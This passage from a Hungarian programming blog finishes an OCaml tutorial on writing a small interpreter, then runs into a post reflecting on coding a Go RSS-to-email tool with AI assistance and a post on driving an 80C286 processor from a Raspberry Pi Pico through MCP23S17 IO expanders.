    | TSlash    -> ignore (consume ps); loop (EDiv (left, parse_bracketing ps))
    | TPercent  -> ignore (consume ps); loop (EMod (left, parse_bracketing ps))
    | _ -> left
  in
  loop (parse_bracketing ps)

A szorzás-osztás változatához nem lehet sok mindent hozzáfűzni, ugyanaz a logika, mint az összeadás-kivonásnál, csak a láncban utánunk következő függvényt hívjuk meg benne.

Még egy apró pici módosítás a parse_primary függvényben.

and parse_primary ps =
  match peek ps with
  | TBool b -> ignore (consume ps); EBool b
  | TNumber n -> ignore (consume ps); ENumber n
  | t -> raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t)))

A TBool-hoz hasonlóan lekezeljük a TNumber típusunkat is.

Ezzel vissza is értünk a kiértékeléshez. Természetesen bővül a value típus és a hozzá tartozó show_value függvény:

exception RuntimeError of string

type value =
  | VBool of bool
  | VNumber of float

let show_value v =
  match v with
  | VBool b -> string_of_bool b
  | VNumber n ->
    if Float.is_integer n then string_of_int (int_of_float n)
    else string_of_float n

Aztán kiegészül az eval is:

let rec eval expr =
  match expr with
  | EBool b -> VBool b
  | ENumber b -> VNumber b
  | EBoolNot e ->
    (match eval e with
    | VBool b -> VBool (not b)
    | _ -> raise (RuntimeError "Invalid type"))
  | EBoolAnd (l, r) -> eval_bool_arithmetic ( && ) l r
  | EBoolOr (l, r)  -> eval_bool_arithmetic ( || ) l r
  | EGt (l, r)      -> eval_comparison ( > ) l r
  | EGtEq (l, r)    -> eval_comparison ( >= ) l r
  | ELt (l, r)      -> eval_comparison ( < ) l r
  | ELtEq (l, r)    -> eval_comparison ( <= ) l r
  | EEq (l, r)      -> eval_comparison ( = ) l r
  | ENotEq (l, r)   -> eval_comparison ( <> ) l r
  | EAdd (l, r)     -> eval_arithmetic ( +. ) l r
  | ESub (l, r)     -> eval_arithmetic ( -. ) l r
  | EMul (l, r)     -> eval_arithmetic ( *. ) l r
  | EDiv (l, r)     -> eval_arithmetic ( /. ) l r
  | EMod (l, r)     ->
    (match eval l, eval r with
    | VNumber a, VNumber b -> VNumber (float_of_int (int_of_float a mod int_of_float b))
    | _ -> raise (RuntimeError "Invalid type"))

A bináris és/vagy operátorokat is kiemeltem egy kis segéd függvénybe, ahogy az új operátorok elkészültek. A függvény neve utáni első paraméter az operátor zárójelben, amit így át lehet passzolni, mint bármilyen más függvényt. Az aritmetikai operátorok egy kicsit furák, mivel az OCaml-nek külön operátorai vannak float-ok között végzett műveletekre.

A maradék operátor egy kicsit kilóg a sorból, mivel nincs értelmezve float típusra, így először át kell konvertálnunk mindent int-re, majd az eredményt vissza float-ra, mivel a mi nyelvünk egyetlen szám típusa float a motorháztető alatt.

and eval_bool_arithmetic op l r =
  match eval l, eval r with
  | VBool a, VBool b -> VBool (op a b)
  | _ -> raise (RuntimeError "Invalid type")

and eval_comparison op l r =
  match eval l, eval r with
  | VNumber a, VNumber b -> VBool (op a b)
  | _ -> raise (RuntimeError "Invalid type")

and eval_arithmetic op l r =
  match eval l, eval r with
  | VNumber a, VNumber b -> VNumber (op a b)
  | _ -> raise (RuntimeError "Invalid type")

Maguk a segéd függvények nagyon hasonlítanak egymásra, csak az változik, hogy milyen típusokon hajlandóak dolgozni és annak milyen típus lesz az eredménye.

Egy dinamikusan típusos nyelvben ilyen helyeken születnek meg azok a szabályok, ami alapján a típus rendszer működik. Például az eval_bool_arithmetic elfogadhatna mindkét oldalon VNumber-t is és hozhatna egy szabályt, hogy a 0 az false, minden más true.

Apró érdekesség itt még, hogy az == és <> jelenleg csak számokra működik, nem tudjuk azt lefuttatni, hogy print(true == true), a többi összehasonlító operátornak viszont nem feltétlenül van értelme boolean értékek esetén (bár ha a false az 0, a true pedig 1, akkor értelmezhetőek azok is). További döntések, amiket a világ alkotóiként meghozhatunk.

És ezzel sikeresen be is vezettünk egy új típust a programozási nyelvünkbe. Ha lefuttatjuk mondjuk a

print(1 + 1 * 2 - 8 < 3 and not 15 / 5 > 7 - 1 + 2 - 3)

programot, akkor a következő kimenetet kapjuk:

$ ocaml main.ml
true

De mi történik akkor, ha azt a programot futtatjuk le, hogy print(-6 < 0)?

$ ocaml main.ml
Parse error: Unexpected token 'TMinus'

Ó, jaj! Nem támogatjuk a forráskódban a negatív számokat.

Mint mindenre, erre is többféle megoldás létezik. Kezelhetjük szimplán a negatív számokat (- után számnak kell következnie) vagy lehet a - egyszerre egy és két változós operátor is (az ESub mellett mondjuk egy ENeg), így írhatunk mondjuk olyat, hogy -(6 - 5). Én az előbbivel mentem, de érdemes megpróbálni leimplementálni a második változatot is a gyakorlás kedvéért.

and parse_primary ps =
  match peek ps with
  (* ... *)
  | TMinus ->
    ignore (consume ps);
    (match peek ps with
    | TNumber n -> ignore (consume ps); ENumber (-1. *. n)
    | t -> raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t))))
  (* ... *)

Talán az egyetlen meglepő rész az a (-1. *. n), ami a korábban már említett fura viszony eredménye az OCaml és a float között.

Újra megfuttatva a print(-6 < 0) programot már a helyes megoldást kapjuk:

$ ocaml main.ml
true

Ennek a lépésnek a módosításai megtekinthetőek itt.

Most, hogy már vannak boolean és szám értékeink is, jó lenne őket eltárolni valahol. Itt az ideje a változók bevezetésének.

Változók

A lexikai és szintaktikai elemzés oldalán nem lesznek nagy meglepetések, de a kiértékelés egy kicsit bonyolódni fog. Kezdjük is a szokásos tokeneknél:

type token =
  (* ... *)
  | TEqual
  (* ... *)

A lexer-ben már megágyaztunk neki, amikor az == operátort felvettük, csak a hibaüzenetet kell kicserélni az új működésre.

match current_char ls with
(* ... *)
| '=' ->
  step ls;
  (match current_char ls with
  | '=' -> step ls; loop (TEq :: tokens)
  | _   -> loop (TEqual :: tokens))
(* ... *)

A szintaxis fa kap egy új kifejezést a változókhoz és egy új utasítást az értékadáshoz.

type expr =
  (* ... *)
  | EVar of string

type stmt =
  | SPrint of expr
  | SAssign of string * expr

Az egyszerű értékek kezelése során minden ismeretlen azonosítót változóként fogunk kezelni, majd a kiértékelés eldönti, hogy tényleg létezik-e.

and parse_primary ps =
  match peek ps with
  (* ... *)
  | TIdentifier i -> ignore (consume ps); EVar i
  (* ... *)

Az utasításoknál pedig ha valami azonosítóval kezdődik, akkor arra számítunk, hogy az egy értékadás lesz.

and parse_stmt ps =
  match peek ps with
  (* ... *)
  | TIdentifier t ->
    ignore (consume ps);
    expect ps TEqual;
    SAssign (t, parse_expr ps)
  (* ... *)

Rá is térhetünk az izgalmas részre, a kiértékelésre. A kód futtatása során valahol tárolnunk kell, hogy melyik változónak mi az értéke.

Egy komolyabb programozási nyelvben ez egy bonyolultabb kérdés lenne, mivel kezelnünk kellene a változók hatáskörét is, de a mi kis nyelvünk még nem jutott el olyan érettségi szintre, hogy legyenek hatáskörök, így nekünk elég lesz egy hash-tábla a kulcs-értékek tárolására.

let make_env () = 
  Hashtbl.create 16

let set_env env name value =
  Hashtbl.replace env name value

let lookup_env env name =
  match Hashtbl.find_opt env name with
  | Some v -> v
  | None -> raise (RuntimeError (Printf.sprintf "Undefined variable: %s" name))

A make_env csinál egy üres környezetet, a set_env segítségével beállíthatjuk egy változó értékét, a lookup_env pedig visszaadja ezt az értéket vagy elszáll hibával, ha nem létezik az adott nevű változó.

Az eval és exec részen elég nagy átalakításokra van szükség. Mindkét függvény meg kell, hogy kapja az env változót, amit az összes kapcsolódó hívásnál át kell passzolnunk.

Ezen kívül kezelnünk kell az új kifejezést, ami beolvassa a változó értékét.

let rec eval env expr =
  match expr with
  (* ... *)
  | EVar v -> lookup_env env v
  (* ... *)

Valamint az új utasítást is, ami beállítja egy változó értékét. A változó értéke itt lehet egy kifejezés is, úgyhogy azt előbb ki kell számolnunk.

let exec env stmt =
  match stmt with
  (* ... *)
  | SAssign (name, value) ->
    set_env env name (eval env value)

Az új env változó miatt minimális változások történtek a "main" függvényben is:

let tokens = tokenize src in
let stmts = parse_program tokens in
let env = make_env () in
List.iter (exec env) stmts

A kimenet pedig reményeink szerint a következő lesz:

$ ocaml main.ml
5                                 
6
true

Ennek a lépésnek a módosításai megtekinthetőek itt.

Alakul a nyelv, de valami még hiányzik... a hab a mi kis grammatikai tortánkra.

Vezérlési szerkezetek

Kezd nagyon hosszúra nyúlni ez a bejegyzés, de nem érezném igazi nyelvnek az alkotásunkat a jó öreg if, elif, else és while nélkül. Vegyük is fel hozzájuk az új tokeneket. A négy kulcsszó mellett a két kapcsos zárójel is újdonság lesz a nyelvben.

type token =
  (* ... *)
  | TIf
  | TElseIf
  | TElse
  | TWhile
  | TLeftCurlyBracket
  | TRightCurlyBracket
  (* ... *)

A tokenize_name-ben a szokott módon lekezeljük az új neveket.

match name with
(* ... *)
| "if"    -> TIf
| "elif"  -> TElseIf
| "else"  -> TElse
| "while" -> TWhile
(* ... *)

A tokenize-ban pedig az új zárójeleket.

match current_char ls with
(* ... *)
| '{' -> step ls; loop (TLeftCurlyBracket :: tokens)
| '}' -> step ls; loop (TRightCurlyBracket :: tokens)
(* ... *)

Az utasítások bővítése során belefutunk egy kis újdonságba, az if és a while is utasítások listáját kapja paraméterül.

type stmt =
  | SPrint of expr
  | SAssign of string * expr
  | SIf of expr * stmt list * stmt list
  | SWhile of expr * stmt list

És egyébként is, hol van az elif és az else? Hát, azok olyan dolgok, amiket csak szintaktikai cukornak szokás hívni. Kényelmi funkciók a nyelv felhasználóinak számára, amiknek a szintaxis fa szintjén már nem kell létezni. Az SIf(feltétel, igaz utasítások, hamis utasítások) egyedül le tud kezelni minden esetet:

• ha van elif ág, akkor a hamis utasítások egy egy elemű lista lesz, amiben egy újabb SIf() van
• ha nincsen else ág, akkor az utolsó SIf() hamis utasításai egy üres lista lesz

Az utasítások feldolgozásán egy kicsit módosítanunk kell, eddig TEOF-ig olvastuk be az utasításokat, de innentől lesznek olyan eseteink, amikor az utasítások a következő csukó kapcsos zárójelig tartanak.

let rec parse_stmts ps stop_token =
  let rec loop stmts =
    skip_newlines ps;
    if (peek ps) <> stop_token then
      loop (parse_stmt ps :: stmts)
    else
      stmts
  in

  List.rev (loop [])

A parse_program-ot is hozzá kell igazítani a változáshoz:

let parse_program tokens =
  let ps = make_parser tokens in
  parse_stmts ps TEOF

A parse_stmt egy gyanúsan rövid módosítással úszta meg a történetet:

and parse_stmt ps =
  match peek ps with
  | TIf ->
    parse_if ps
  (* ... *)

Aztán persze jön a tényleges kód, ami az if ágat kezeli.

and parse_if ps =
  ignore (consume ps);
  expect ps TLeftParen;
  let cond = parse_expr ps in
  expect ps TRightParen;

  expect ps TLeftCurlyBracket;
  let then_branch = parse_stmts ps TRightCurlyBracket in
  expect ps TRightCurlyBracket;

  let else_branch = parse_else ps in

  SIf (cond, then_branch, else_branch)

Először a feltételt olvassuk be, aminél számítunk arra, hogy ( és ) között van. Aztán az utasításokat, amik a feltétel teljesülése során futnak majd le, ezeknek { és } között kell lenniük. Az else ágát pedig egy másik függvény kezeli le.

and parse_else ps =
  match peek ps with
  | TElseIf ->
    [ parse_if ps ]
  | TElse ->
    ignore (consume ps);
    expect ps TLeftCurlyBracket;
    let stmts = parse_stmts ps TRightCurlyBracket in
    expect ps TRightCurlyBracket;
    stmts
  | _ -> []

Az elif ág kezelése visszahív a parse_if-re, de az eredményét egy listában adja vissza. Az else ág pedig feldolgozza az utasításokat, amik utána következnek.

and parse_stmt ps =
  match peek ps with
  (* ... *)
  | TWhile ->
    ignore (consume ps);
    expect ps TLeftParen;
    let cond = parse_expr ps in
    expect ps TRightParen;

    expect ps TLeftCurlyBracket;
    let stmts = parse_stmts ps TRightCurlyBracket in
    expect ps TRightCurlyBracket;

    SWhile (cond, stmts)
  (* ... *)

A while kezelése szinte azonos az if-fel, csak nincsen hozzá else ág.

Ezzel a feldolgozás végére is értünk, jöhet a kiértékelés. Először is kicsit átrendeztem az exec függvényt, hogy több utasítást várjon bemenetként és az eredeti exec tartalma átvándorolt az exec_stmt-be.

let rec exec env stmts =
  List.iter (exec_stmt env) stmts

and exec_stmt env stmt =
  match stmt with
  (* ... *)
  | SIf (cond, then_branch, else_branch) ->
    (match eval env cond with
    | VBool true  -> (exec env then_branch)
    | VBool false -> (exec env else_branch)
    | _ -> raise (RuntimeError "If condition must be a boolean"))
  | SWhile (cond, stmts) ->
    let rec loop () =
      match eval env cond with
      | VBool true ->
        exec env stmts;
        loop ()
      | VBool false -> ()
      | _ -> raise (RuntimeError "While condition must be a boolean")
    in
    loop ()

Ezt a módosítást rögtön használja is az SIf és az SWhile kezelése. Az SIf-nél mintaillesztéssel döntjük el, hogy melyik ág utasításait futtassuk le. Az SWhile-nál pedig rekurzióval futtatjuk meg a kapcsolódó utasításokat, amíg a feltétel hamis nem lesz.

A "main" függvényben csak az exec használatát kell kijavítanunk.

let tokens = tokenize src in
let stmts = parse_program tokens in
let env = make_env () in
exec env stmts

Aztán futtathatunk valamit, ami végre igazi kódnak néz ki:

fizzbuzz = -15
fizz = -3
buzz = -5
i = 1
while (i <= 15) {
  if (i % 15 == 0) {
    print(fizzbuzz)
  } elif (i % 3 == 0) {
    print(fizz)
  } elif (i % 5 == 0) {
    print(buzz)
  } else {
    print(i)
  }
  i = i + 1
}

Sajnos nem léteznek a stringek a mi kis világunkban, úgyhogy csak így lehetett megoldani, de a kimenet így is magáért beszél. Vállalati szintű problémákat oldunk meg egyszerű eleganciával.

$ ocaml main.ml
1
2
-3
4
-5
-3
7
8
-3
-5
11
-3
13
14
-15

Ennek a lépésnek a módosításai megtekinthetőek itt.

Itt a vég

Ide is eljutottunk hát. "A gép forog, az alkotó pihen." Messze a leghosszabb írás, ami eddig a blogon megjelent. Gratulálok mindenkinek, akinek sikerült eljutnia idáig. Remélem okoztam néhány éjszakába nyúló programozós estét.

És a végeredmény? Alig 500 sorban írtunk valamit, ami programozási nyelvnek nevezhető (még ha elég korlátolt is). Engem meglepett a végén, hogy milyen rövidre sikeredett.

Számtalan bővítési lehetőség és a hozzá tartozó kihívások rejlenek még ebben a projektben, de egy jó alapot sikerült összerakni a további kísérletezgetéshez. Csak hogy néhány logikus következő lépést említsek:

• a hibakezelés kibővítése (ParseError és RuntimeError esetén is lehessen tudni, hogy hol volt a hiba az eredeti forráskódban)
• rövidzár-kiértékelés boolean kifejezéseknél (ha a and b esetén a false-ra értékelődik ki, akkor nem kell b-t kiértékelni)
• függvények (és a velük jövő probléma a változók hatásköreivel)
• string típus és a hozzá tartozó operátorok, függvények/utasítások
• listák és asszociatív tömbök

Én viszont zárom soraimat, köszönöm a figyelmet.

TEOF

Az eredeti kép ChatGPT-vel felfrissített változata

Valójában 36 hónappal később, de nem tudtam kihagyni a gyenge filmes utalást. Szóval három évvel ezelőtt megpróbáltam egy hobbi projekt ötletet kigeneráltatni AI segítségével. A kísérlet nagyjából sikerrel zárult, végül mégsem született olyan kód, amit szívesen futtatnék élesben. Innen nézve a dolgot úgy tűnik mégsem lett kész ezt a projekt. Három év pedig hosszú idő, biztos sokat fejlődött ez idő alatt a technológia, lehet érdemes újra megpróbálni.

A projektről röviden annyit érdemes tudni, hogy RSS feed-eket olvas periodikusan és az ott talált feed elemekből email-eket generál, amiket IMAP-on keresztül tölt fel egy email fiókba.

Első nekifutás

Bár manapság már egyre kevésbé népszerű ez a hozzáállás, de én még szeretem érteni a "saját" kódomat, ami készül. Ennek tükrében úgy indítottam a projektet, hogy én írom a kódot, az AI pedig megtanít engem, hogy hogyan kell Go-ban fejleszteni.

Lehetőség szerint minél kevesebb külső függőséget szerettem volna használni, hogy elsősorban a nyelvvel és a hozzá járó standard könyvtárral ismerkedjek meg. Nyilván egy SQLite könyvtárat nem fogok újra leimplementálni, de például a megálmodott pipeline-jellegű architektúrához használhattam volna kész megoldásokat, de inkább megpróbáltam a Go channel-ek, context-ek és a párhuzamos futtatás világában jobban elmélyülni.

Ez egy olyan terep, ahol a hozzá nem értő ember (én) könnyen lábon tudja lőni magát és az AI (a maga lelkesedésével) ebben még segítségünkre is siet. Ha egyedül is jól bele tudsz zavarodni dolgokba, akkor AI segítségével kétszer annyira összezavarjátok majd egymást. Az AI elbizonytalanít téged, te minden egyes rezdüléseddel befolyásolod az AI-t és a végén inkább keresel valami segédanyagot, amit az AI-boom előtt még egy ember írt.

Ahogy az lenni szokott egy idő után beleuntam az oktatós projektbe és parkolópályára került az egész. Nagyjából addig sikerült eljutni, hogy volt egy működő prototípus és kb. a pipeline fele létezett már "production ready" állapotban.

Második nekifutás

Később, mikor újra felvettem a fonalat, kicsit máshogy álltam a dologhoz. Már nem akartam tanulni, csak be akartam fejezni a projektet. Nem azért, mert szükségem volt a működő programra, inkább csak úgy éreztem, hogy úgy kaphatok egy jobb képet az eszközökről, ha végigvittem vele egy projektet.

Az eszköztárat ehhez igazítva Claude Code-dal mentem tovább, de nem a manapság divatos "eresszünk rá 30 agent-et a problémára és majd meglátjuk mire jutnak" hozzáállással. Az első körös nekifutás egy elég jó alapot adott ahhoz, hogy kis lépésekben tudjunk haladni. Minden lépést felügyeltem és szükség esetén korrigáltam, de kézzel nem végeztem lényegi módosításokat a projekten. Egészen a legvégéig meg sem próbáltam lefuttatni.

Nagyjából fél nap és 35 dollár elégetése után lett egy késznek mondható szoftverem. Mivel nem vagyok Go fejlesztő, így sajnos azt nem tudom hitelesen megítélni, hogy mennyire elegáns vagy épp mennyire felel meg a nyelv adottságainak az elkészült mű. Talán ez már nem is annyira lényeges, lehet, hogy az embereknek abba kell hagyni a kód olvasgatását.

Az end-to-end tesztek még kihoztak pár potenciális problémát (főleg a párhuzamosság környékén), a próbafuttatás valódi feed adatokkal pedig aztán még néhányat (túl megengedő reguláris kifejezések, nem megfelelő enkódolások), de semmi eget rengető.

A végén még kézzel megírtam a .gitlab-ci.yml-t a GitLab CI-hez és a Dockerfile-t az élesben futtatáshoz, mert úgy éreztem az gyorsabb lesz, mint szócsatázni az AI-jal.

Tapasztalatok

A kimenet

Hajlamos vagyok úgy gondolni, hogy minél bonyolultabb a téma, annál kevésbé lehet a kimenetben (akár szöveges, akár kód) megbízni. Főleg akkor, ha kevéssé jártas az ember az adott témában. Alapvetően egy jó, személyre szabott tanulási (vagy kód elmagyarázási) eszköznek tartom, de vannak fenntartásaim a kimenettel kapcsolatban.

A másik aspektusa ennek az, hogy mennyire befolyásolható. Ha bedobok egy ötletet, akkor hajlamos azzal menni, de én attól még nem lehetek biztos abban, hogy tényleg az én alternatívám volt a jobb ötlet, vagy csak a megfelelési kényszer miatt választja a megoldásomat.

Van úgy, hogy kérdésként bedobok egy ötletet, hogy "vajon működne-e ez így vagy úgy". Az AI persze rámondja, hogy "remek meglátás, rögtön neki is állok megvalósítani". Aztán 10-20 perceket vitatkozik saját magával, elkezdi feltúrni az egész projektet, látszik, hogy nem jut egyről a kettőre, de nem fog magától leállni. Végül inkább leállítom és nyomok egy git restore-t.

Munkavégzés

Ez szorosan összefügg a kimenet minőségével. Én azt a következtetést vontam le, hogy nem szívesen hagynám szabadon garázdálkodni, hogy azt csináljon, amit akar. Minél hamarabb el kell csípni, ha rossz irányba indul el, meg kell kérdőjelezni az ötleteit, alternatívákat kell felhozni (vagy néha csak megfelelő kulcsszavakat). Ez viszont csak úgy tud működni, ha megvan a hozzáértés valamilyen szinten, hogy meg tudja mondani az ember, ha rossz irányba tartanak a dolgok.

Aztán ott van még az a furcsaság, hogy a végén a .gitlab-ci.yml és Dockerfile fájlokat kézzel írtam meg. Nem hiszem, hogy szimplán csak azért történt, mert a nap végén már elegem volt a csevegésből és csinálni akartam valamit. Inkább valami olyasmi lehetett, hogy ha valamihez eléggé értek és úgy gondolom, hogy nem sok idő megcsinálni, akkor inkább megcsinálom, mint hogy ugyanannyi vagy több idő alatt megmondjam másnak, hogy hogyan csinálja meg. Főleg ha annak a másik félnek semmilyen előnye nem származik abból, hogy ő csinálja (mert például nem képes tanulni belőle).

Sebesség

Jelen esetben hobbi projekthez használtam, úgyhogy nem sietek sehova, nem azzal van baj, hogy lassú lenne, csak az interakció mintája valahogy kényelmetlen. Ahhoz egy kicsit lassú, hogy ne unatkozzon közben az ember, de ahhoz túl gyors, hogy érdemben lehessen a gondolkodási szünetekben valami mással foglalkozni.

Lehetne ugyan több szálon folytatni beszélgetéseket (nem próbáltam), de szerintem sem én, sem az AI nem elég jó ehhez a multitasking területén.

Ár-érték arány

Aztán ott van még az ár kérdése. Mint azt már említettem, csak a második körben 35 dollárt locsoltam el erre a projektre. Az első kört nem tudom pontosan, mert egy havi előfizetés részeként volt megvalósítva, de tippre egy 10-20 dollár az is lehetett.

Hogy ez soknak vagy kevésnek számít, azt nem tudnám megmondani, de amikor a végén kijött ez az összeg, akkor arra gondoltam, hogy ha valaki ezt a kész szoftvert 35 dollárért próbálná nekem eladni, akkor bizony nem venném meg.

A szép új világ, második felvonás

Itt vagyunk hát, három évvel később. Az újdonság varázsa már egy kicsit megkopott és előtűnnek a lepattogzó festék alól a hibák. A szellem ugyan kiszabadult a palackból, de egy mindenható varázslény helyett egy hiperaktív junior fejlesztőt kaptunk. Mindenkire rábízom, hogy ezek alapján levonja saját helyzetéhez mérten a következtetéseket. Én a magam részéről még továbbra sem látom kristálytisztán, hogy hogyan fog működni a közös életünk.

Mi a valóság? Hogy határoznád meg? Mivel? Ha arról beszélsz, amit érzel, amit szagolsz, ízlelsz, látsz... a valóság csupán az agyad által megfejtett elektromos jelhalmaz.

— Morpheus, Mátrix

Ha a processzor a számítógép agya, akkor neki is lehet része egyfajta virtuális valóságban? Szimulált memória, szoftveresen definiált perifériák, mesterségesen generált megszakítások.

Életem első számítógépe egy 286-os volt, 1 MB RAM-mal és ha jól emlékszem 50 MB HDD-vel. Ezért arra az elhatározásra jutottam, hogy beszerzek egy 286-os processzort és megpróbálom a számítógép többi részét köré szimulálni. Vagy legalábbis rábírni arra, hogy elinduljon és futtasson meg valami egyszerű assembly kódot.

Két évvel ezelőtt meg is rendeltem kettő darab (annyi volt egy csomagban) Harris 80C286-12 processzort. Homályosak már az emlékeim, de a C a nevében azt hiszem lényeges, mert ezek azok a fajták, amik nem annyira kényesek az órajel pontosságára (a 12 a végén azt jelenti, hogy 12 Mhz-en szeret futni), akár kézzel is lehet léptetni őket.

Először nem jöttek a sikerélmények, úgyhogy a fiókba került a projekt. Aztán idén újra elővettem és megpróbáltam kideríteni, hogy hol mehettek félre a dolgok.

Összeszerelés

A processzor egy PLCC-68-as foglalatba megy bele. A foglalat lábai nem alkalmasak arra, hogy jumper kábeleket dugdossunk rá, így a foglalat egy adapter NYÁK-ra került, amin vannak jumper kábel kompatibilis kiállások. A chip és a foglalat csatlakozó kiosztása is szerepel az adatlapon, de az adapter NYÁK még csavar egy kicsit a dolgokon, így készítettem hozzá egy kis konvertáló táblázatot.

A táblázat abban is segített, hogy a különböző ki- és bemenetek azonosítva legyenek, amik később a Raspberry Pi-ra való csatlakozáskor lesznek hasznosak. Mint az látszik, nem kevesebb, mint 57 pin-re van szükség, amihez a Pi kevés lesz. Az MCP23S17 típusú IO bővítő sietett itt a segítségünkre, amivel ugyan nem tudnánk kipörgetni a processzor által támogatott hajmeresztő 12 Mhz-es sebességet, de szerencsére nem is ez a cél.

A chip 16 darab IO pin-t tartalmaz, így négy chip-re lesz szükségünk. Bár pin-enként lehet állítani, hogy ki- vagy bemenetek legyenek, azért próbáltam logikusan csoportosítani őket. A bővítőnek A és B oldala van, oldalanként 8 pinnel, a végeredmény a következő lett:

         ┌───┬──┬───┐      
         ┤   └──┘   ├      
         ┤          ├      
         ┤   FLAG   ├ ERROR
         ┤          ├ BUSY 
         ┤ ADDR:100 ├ INTR 
   READY ┤          ├ NMI  
   RESET ┤B        A├ PEREQ
     CLK ┤          ├ HOLD 
         └──────────┘      
         ┌───┬──┬───┐      
    HLDA ┤   └──┘   ├ A23  
COD/INTA ┤          ├ A22  
    M/IO ┤   MISC   ├ A21  
    LOCK ┤          ├ A20  
     BHE ┤ ADDR:011 ├ A19  
      S1 ┤          ├ A18  
      S0 ┤B        A├ A17  
   PEACK ┤          ├ A16  
         └──────────┘      
         ┌───┬──┬───┐      
      A8 ┤   └──┘   ├ A7   
      A9 ┤          ├ A6   
     A10 ┤   ADDR   ├ A5   
     A11 ┤          ├ A4   
     A12 ┤ ADDR:010 ├ A3   
     A13 ┤          ├ A2   
     A14 ┤B        A├ A1   
     A15 ┤          ├ A0   
         └──────────┘      
         ┌───┬──┬───┐      
      D8 ┤   └──┘   ├ D7   
      D9 ┤          ├ D6   
     D10 ┤   DATA   ├ D5   
     D11 ┤          ├ D4   
     D12 ┤ ADDR:001 ├ D3   
     D13 ┤          ├ D2   
     D14 ┤B        A├ D1   
     D15 ┤          ├ D0   
         └──────────┘      

A Pi SPI-n tud kommunikálni a bővítőkkel. Több megoldás is létezik erre, én azt választottam, hogy mindegyik chip egyszerre aktív és hardver cím alapján döntik el, hogy kinek szólnak a Pi felől érkező üzenetek.

A lila színű kábellel bekötött RESET pin-t esetünkben nem szükséges a Pi-ról vezérelni, de az egyik hibakeresés során ezt is kipróbáltam és így maradt. Nincs más hátra, mint ipari mennyiségű jumper kábellel összekötni az egészet és át is térhetünk a programozásra.

IO bővítés

Az MCP23S17 tudásának viszonylag kis részére van csak szükségünk. Az IO pin-ek irányát kell csak beállítanunk és írni/olvasni. A konfigurálás regiszterek értékeinek változtatásával történik. Először is engedélyeznünk kell a hardver címek használatát. Alapból mindenkinek 000 a címe, így ha erre a címre küldünk egy regiszter változtatást (az IOCON regiszterben lévő HAEN bit), akkor mind a négy chip-en egyszerre kapcsolódnak be a hardver címek.

Néhány órányi (napnyi) fejtörés következett, amire végre kiderült, hogy ez még nem biztos, hogy elég a megfelelő működéshez. Kell egy üzenetet küldenünk a beállított hardver címre is, hogy engedélyezzük a hardver címeket (elég furcsa, tudom). Tehát ha mondjuk 101-es hardver címet állítottunk be, akkor az eredeti, 000-ra küldött regiszter módosítási üzenetet el kell küldenünk újra a 101-nek is.

Most, hogy a hardver címekkel megvagyunk az egyes chip-ek IODIRA és IODIRB regiszterét kell a megfelelő irányba állítani. A csoportosítás miatt az egész oldalt egyszerre állíthatjuk olvasásra (11111111) vagy írásra (00000000). További részletek a chip adatlapján.

Eredetileg egy Pi Zero-val kezdtem a munkát, de a végül egy Pi Pico mellett kötöttem ki, amin MicroPython fut. A chip-ek kezelésére az alábbi kis osztályka született:

class MCP23S17:
    IODIRA = 0x00
    IODIRB = 0x01
    IOCON = 0x0B
    GPIOA = 0x12
    GPIOB = 0x13

    def __init__(self, address, spi, cs):
        self.__address = address
        self.__spi = spi
        self.__cs = cs

    def init(self):
        self.__writeRegister(0b01000000, self.IOCON, 0b00001000)
        self.writeRegister(self.IOCON, 0b00001000)

    def writeRegister(self, reg, value):
        self.__writeRegister(self.__address, reg, value)

    def readRegister(self, reg):
        tx = bytearray([self.__address | 1, reg, 0])
        rx = bytearray(3)
        self.__cs.value(0)
        self.__spi.write_readinto(tx, rx)
        self.__cs.value(1)
        return rx[2]

    def __writeRegister(self, address, reg, value):
        self.__cs.value(0)
        self.__spi.write(bytes([address, reg, value]))
        self.__cs.value(1)

Az init-ben szépen látszik, hogy kétszer állítjuk be az IOCON regiszter értékét. Az osztályt a következő módon tudjuk használni a processzorral való kommunikációhoz:

spi = SPI(0, baudrate=1000000, sck=Pin(2), mosi=Pin(3), miso=Pin(4))
cs = Pin(5, mode=Pin.OUT, value=1)
rst = Pin(6, mode=Pin.OUT, value=0)

chip_data = MCP23S17(0b01000010, spi, cs)
chip_addr = MCP23S17(0b01000100, spi, cs)
chip_misc = MCP23S17(0b01000110, spi, cs)
chip_flag = MCP23S17(0b01001000, spi, cs)

rst.value(1)

chip_data.init()
chip_addr.init()
chip_misc.init()
chip_flag.init()

chip_data.writeRegister(MCP23S17.IODIRA, 0xff)
chip_data.writeRegister(MCP23S17.IODIRB, 0xff)

chip_addr.writeRegister(MCP23S17.IODIRA, 0xff)
chip_addr.writeRegister(MCP23S17.IODIRB, 0xff)

chip_misc.writeRegister(MCP23S17.IODIRA, 0xff)
chip_misc.writeRegister(MCP23S17.IODIRB, 0xff)

chip_flag.writeRegister(MCP23S17.IODIRA, 0x00)
chip_flag.writeRegister(MCP23S17.IODIRB, 0x00)

Első körben képes voltam lehagyni innen az init hívásokat és csodálkoztam, hogy miért nem működik. A pin-ek nagy részét olvasásra állítjuk, csak a flag-eket kell írásra.

Az alapállapot

Mielőtt bármibe belekezdhetnénk, RESET-elnünk kell a processzort. Ehhez legalább 16 órajelciklusnyi ideig kell a RESET flag-et bekapcsolva tartanunk, és a ki- és bekapcsolásnak szinkronban kell lennie az órajel flag-gel is. Először is csináltam pár konstanst a flag-eknek, hogy egyszerűbb legyen az élet:

# chip_flag GPIOA
FLAG_ERROR = 0x20
FLAG_BUSY  = 0x10
FLAG_INTR  = 0x08
FLAG_NMI   = 0x04
FLAG_PEREQ = 0x02
FLAG_HOLD  = 0x01

# chip_flag GPIOB
FLAG_CLK   = 0x80
FLAG_RESET = 0x40
FLAG_READY = 0x20

# chip_misc GPIOB
FLAG_PEACK    = 0x80
FLAG_S0       = 0x40
FLAG_S1       = 0x20
FLAG_BHE      = 0x10
FLAG_LOCK     = 0x08
FLAG_M_IO     = 0x04
FLAG_COD_INTA = 0x02
FLAG_HLDA     = 0x01

Ezt érdemes összenézni a fentebbi MCP23S17 pin kiosztással. Az egyes oldalak 8 pin-jét 8 bitnyi / 1 byte-nyi adatként kezeljük. Például a 'misc' chip GPIOB oldala által kiadott byte-ban a HLDA flag a legkisebb helyi értékű szám, a PEACK pedig a legnagyobb helyi értékű.

PEACK
↓
10100111
       ↑
    HLDA

A flag-ek segítségével jöhet is a RESET:

for i in range(17):
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
    time.sleep(0.001)
